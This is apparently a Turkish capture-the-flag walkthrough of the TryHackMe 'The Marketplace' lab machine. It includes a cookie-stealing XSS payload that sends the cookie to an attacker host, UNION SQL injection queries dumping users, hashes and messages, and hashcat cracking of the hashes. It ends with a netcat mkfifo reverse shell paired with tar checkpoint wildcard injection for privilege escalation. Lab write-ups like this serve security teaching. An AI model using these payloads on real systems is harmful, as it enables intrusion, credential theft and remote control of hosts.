TryHackMe / The Marketplace

LinkDifficultyCreator
The MarketplaceMediumjammy

Scan / Enumeration

Keşif işlemine nmap aracı ile port taraması yaparak başlıyorum. Araca -T4 parametresini vererek varsayılan hızını arttırıyorum. Tarama sırasında karşılaştığı açık portları o an ekrana basması için -vv, makinedeki bütün portları taraması için -p- parametresini vererek taramayı başlatıyorum.

nmap -T4 -vv -p- $IP

Tarama sonucunda 22, 80 ve 32768 portlarının açık olduğunu görüyorum. Bu portların üzerinde çalışan servisler hakkında daha fazla bilgiye ulaşabilmek için portlara özel bir nmap taraması daha gerçekleştiriyorum. Versiyon ve script taraması yapmak için -sVC, taranacak portları belirtmek için -p ve taramanın sonucunun bir dosyaya kayıtlanması için -oN parametrelerini kullanarak taramayı başlatıyorum.

nmap -sVC -p22,80,32768 -oN market.nmap $IP

Tarama sonucunda 22 portunda OpenSSH, 80 portunda Nginx ve 32768 portunda Node.js Express servislerinin çalıştığını görüyorum. OpenSSH 7.6p1 versiyonu için yakın zamanda çözmüş olduğum Dogcat makinesinde exploit araması gerçekleştirmiştim. Bu servisde işime yarayabilecek bir user enumeration zafiyetinden başka kullanabileceğim herhangi bir zafiyet olmadığını biliyorum.

80 portu üzerinde çalışan Nginx 1.19.2 versiyonu için searchsploit ve arama motorları aracılığıyla exploit taraması gerçekleştiriyorum fakat işime yarayabilecek bir exploit bulamıyorum. Makinedeki web sitesini manuel olarak keşfetmeye başlamadan önce işime yarayabilecek dizinleri bulabilmek için gobuster ve sitenin yapılandırması hakkında bilgi sahibi olabilmek için nikto taraması başlatmak istiyorum.

Dizin taraması yapmak için gobuster aracına dir değerini veriyorum. Taranacak adresi -u parametresiyle, taramada kullanılacak wordlist’i -w parametresiyle araca veriyorum. Tarama sırasında dizinlerin yanı sıra dosyaları da bulabilmek için -x parametresiyle dosya uzantıları veriyorum. Tarama hızını arttırmak için -t parametresini ve taramanın sonucunun bir dosyaya kayıt edilmesi için -o parametresini kullanarak taramayı başlatıyorum. Yapılandırmaları anlayabilmek için nikto aracına -h parametresini ve taranacak sitenin adresini vererek taramayı başlatıyorum.

gobuster dir -u http://$IP/ -w big.txt -x php,txt,db,bak -t 30 -o market80.buster
nikto -h http://$IP/

Taramalar devam edereken bir web tarayıcısı aracılığıyla makinenin websitesine erişerek keşfetmeye başlıyorum. İlk olarak robots.txt içerisinde disallowed olarak eklenen /admin dizinini deniyorum fakat yetki hatası ile karşılaşıyorum. Site üzerinde yer alan kayıt olma ve giriş yapma işlevlerini kullanmadan önce request’lerin ve response’ların içeriklerini inceleyebilmek için ZAP Proxy‘i açıyorum.

Siteyi incelediğimde michael isminde bir kullanıcının olduğunu görüyorum. Kayıt olma işlevinde michael kullanıcısı olarak kayıt olmaya çalışıyorum fakat hata alıyorum. Kendime başka bir kullanıcı oluşturuyorum. Sitede bulunan contact ve report işlevlerini kullanarak request’leri ve response’ları inceliyorum. Sitenin 'New Listing' alanında yeni bir kayıt oluştururken dosya yükleme işlevinin güvenlik gerekçeleriyle devre dışı bırakıldığını görüyorum. Sayfanın dosya yükleme işlevinin frontend üzerinde disable ile devredışı bırakıldığını görüyorum ve disable değerini silerek dosya yüklemeyi deniyorum fakat gönderdiğim request’e herhangi bir dosya eklenmiyor. Yine aynı sayfadaki description alanının XSS zafiyeti içerdiğini keşfediyorum.

Bu zafiyeti kullanarak admin kullanıcısının cookie‘sini çalabileceğimi düşünerek önce kendi cookie değerimi incelemeye karar veriyorum. Request’lerimdeki cookie değerinde bulunan token‘in JWT olabileceğini düşünerek decode etmeye çalışıyorum ve doğru tahmin ettiğimi görüyorum.

Buradaki admin parametresinin değerini true yaparak /admin sayfasına erişmeyi deniyorum fakat yine hata alıyorum. Bulduğum XSS zafiyeti ile cookie çalmayı denemeye karar veriyorum.


Gain Shell

Öncelikle cookie çalmak için kullanacağım JS kodunu hazırlıyorum. Oluşturduğum item’a tıklayan kullanıcıyı cookie değeri url’e yazılmış bir şekilde kendi açtığım sunucuya yönlendirip sunucunun loglarından kullanıcının cookie’sini elde etmeyi planlıyorum.

<script>document.location='http://10.11.10.116/'+document.cookie;</script>

Hedef websitesinin XSS zafiyetli alanında oluşturduğum payload’ı kullanarak bir item oluşturuyorum. Kendi makinemde bir python http server ayağa kaldırıyorum. Cookie değerini çalmayı hedeflediğim admin kullanıcısının sayfaya erişmesini sağlamak için report özelliğini kullanmayı düşünüyorum. Kendim oluşturduğum item’a erişmeden /report/<item_no> ile XSS zafiyeti ile hazırladığım item’ı raporluyorum ve istediğim cookie’yi elde ediyorum.

Kullandığım tarayıcı üzerinden cookie alanında bulunan token değerini elde ettiğim token ile değiştiriyorum ve admin paneline erişebildiğimi görüyorum. Panel üzerinde kullanıcıları silebildiğim bir alan ile karşılaşıyorum. Burada user parametresinden sonra gelen sayı üzerinde oynamaya başlıyorum. Sayının sonuna bir ' attığımda MySQL hatası ile karşılaşıyorum ve sayfanın SQLi barındırdığını anlıyorum.

Öncelikle kullanacağım SQLi payload‘ının içerisinde UNION kullanabilmek için sayfada çalışan sorguda kaç sütun çağırıldığını tespit etmem gerekiyor. Bunun için ORDER BY <number>--+ metodunu numara değerini hata alana kadar her seferinde 1 arttırarak kullanıyorum ve 4 adet sütun kullanıldığını tespit ediyorum.

Kullanacağım UNION sorgusunda 4 sütun olması gerektiğini dolayısıyla sorgumun UNION SELECT null,null,null,null-- Şeklinde olacağını anlıyorum ve denediğimde herhangi bir hata almıyorum. Deneme için sunucuda çalışan MySQL servsinin versiyon bilgisini ekrana bastırmak istiyorum. Bunun için UNION SELECT @@version,null,null,null-- sorgusunu kullanıyorum. Verdiğim @@versiyon değerini 4 sütun alanınında da deniyorum fakat ekrana bastırılmadığını görüyorum. Ekrana bastırılması için ilk sorgunun boş dönmesinin işe yarayacağını düşünerek user değerini varolmayan bir user değeri ile değiştiriyorum ve düşündüğüm gibi çalıştığını görüyorum.

Bulunduğum database‘in ismini öğrenmek için database() değerini kullanıyorum ve database’in adının marketplace olduğunu öğreniyorum.

Database içerisinde bulunan tabloları öğrenmek istiyorum. Birden fazla tablo olacağı için bu tabloları aynı satırda bastırabilmek amacıyla GROUP_CONCAT()‘i kullanıyorum. Sorguya table_schema değeri olarak database’in adını veriyorum ve table_name değerlerini sorgulatıyorum. Database’in içerisinde items, messages ve users tablolarının olduğunu görüyorum.

0 UNION SELECT GROUP_CONCAT(0x7c,table_name,0x7C),null,null,null FROM information_schema.tables WHERE table_schema=marketplace--

Kullanıcılara ait parolaların users tablosunda saklandığını düşünerek tablodaki sütunların isimlerini sorgulatıyorum. Sorguda table_name değeri olarak users tablosunu belirtiyorum ve column_name değerlerini ekrana bastırıyorum. Tabloda id, isAdministrator, password ve username sütunlarının olduğunu görüyorum.

0 UNION SELECT GROUP_CONCAT(0x7c,column_name,0x7C),null,null,null FROM information_schema.columns WHERE table_name='users'--

Tablo içerisindeki username ve password değerlerini ekrana bastırarak sistemde admin yetkisi olan michael ve jake kullanıcıların parolalarına erişip bu parolaları sisteme SSH ile bağlanırken kullanabileceğimi umuyorum.

0 UNION SELECT GROUP_CONCAT(0x7C,username,0x2D,password,0x7C),null,null,null FROM users--

Buradan elde ettiğim hash’leri kırabilmek için brute force kullanmam gerekiyor. Bunun için hashcat aracını kullanıyorum. Öncelikle bulduğum hash’lerin tipini tespit edebilmek için example_hashes tablosunu kullanıyorum ve hashlerin bcrypt tipinde olduğunu öğreniyorum. Hashcat aracını dictionary attack tipinde kullanmak için -a parametresiyle 0 değerini veriyorum. Hash tipi bcrypt olduğu için -m parametresiyle 3200 değerini veriyorum. Parolaların hashlerinin bulunduğu dosyayı ve wordlist’i de verdikten sonra brute force işlemini başlatıyorum.

hashcat -a 0 -m 3200 pass rockyou.txt

Hashcat aracı çalışırken ben database’i keşfetmeye devam ediyorum. Kullanıcıların mesajlaşmalarında işime yarayacak bilgiler olabileceğini düşünerek messages tablosundaki sütunlara bakıyorum.

0 UNION SELECT GROUP_CONCAT(0x7c,column_name,0x7C),null,null,null FROM information_schema.columns WHERE table_name='messages'--

Buradaki user_from, user_to ve message_content değerlerini sorgulatarak işime yarayabilecek bilgiler bulmayı umut ediyorum.

0 UNION SELECT GROUP_CONCAT(0x7C,user_from,0x2D,user_to,0x2D,message_content,0x7C),null,null,null FROM messages--

User id’si 1 olan kullanıcıdan user id’si 3 olan kullanıcıya, yani system kullanıcısından jake kullanıcısına SSH parolasına değiştine dair bir mesaj gönderilmiş olduğunu görüyorum. Buradaki parola ile sisteme bağlanmaya çalıştığımda bağlanabildiğimi görüyorum.


Privilege Escalation

Yetki yükseltme işlemi için kullanıcının sudo yetkilerini kontrol ettiğimde /opt/backups/backup.sh binary’sini michael kullanıcısı ile çalıştırabilme yetkisi olduğunu görüyorum. Script dosyasını okuduğumda tar komutunu absolute path kullanarak yazmadığı için PATH variable’ını değiştirerek exploit edebileceğimi düşünüyorum fakat sudo komutunda secure_path ile bunun için önlem alındığını görüyorum.

Yetki yükseltmek için tar komutunun çalışacağı dizin içerisinde tar komutunun parametre olarak alacağı dosyalar oluşturarak wildcard injection yapmayı düşünüyorum. Bunun için bir bash script dosyası oluşturarak içerisine reverse shell payload’ını yazıyorum ve dosyayı çalıştırılabilir hale getiriyorum. Çalışacak olan tar komutu, * değeriyle dizindeki her dosyayı tek tek aldığı için burada komuta parametre gibi dosyalar oluşturduğumuzda bunları parametre olarak görüp çalıştıracaktır. İlk olarak --checkpoint=n isminde bir dosya oluşturarak, her n. dosyada vereceğimiz checkpoint-action parametresindeki işlevi yapmasını sağlıyoruz. Daha sonra --checkpoint-action=exec=sh rev.sh isminde bir dosya daha oluşturarak her checkpoint’e geldiğinde rev.sh dosyasını çalıştırmasını sağlıyoruz. Dosyaları hazırladıktan sonra backup.sh script’ini michael kullanıcısı olarak çalıştırıyorum ve o kullanıcı olarak shell alabiliyorum.

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f' > rev.sh
chmod +x rev.sh
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh rev.sh"
sudo -u michael ./backup.sh

Sisteme michael kullanıcısı olarak erişebiliyorum. Kullanıcının sudo yetkisi olup olmadığını sudo -l komutuyla kontrol ediyorum fakat parolasını bilmediğim için erişemiyorum. Kullanıcının ait olduğu grupları kontrol ettiğimde docker grubunda olduğunu görüyorum. GTFOBins‘in yardımıyla docker grubunda olmamı kullanarak root kullanıcısına geçebiliyorum.

-Gev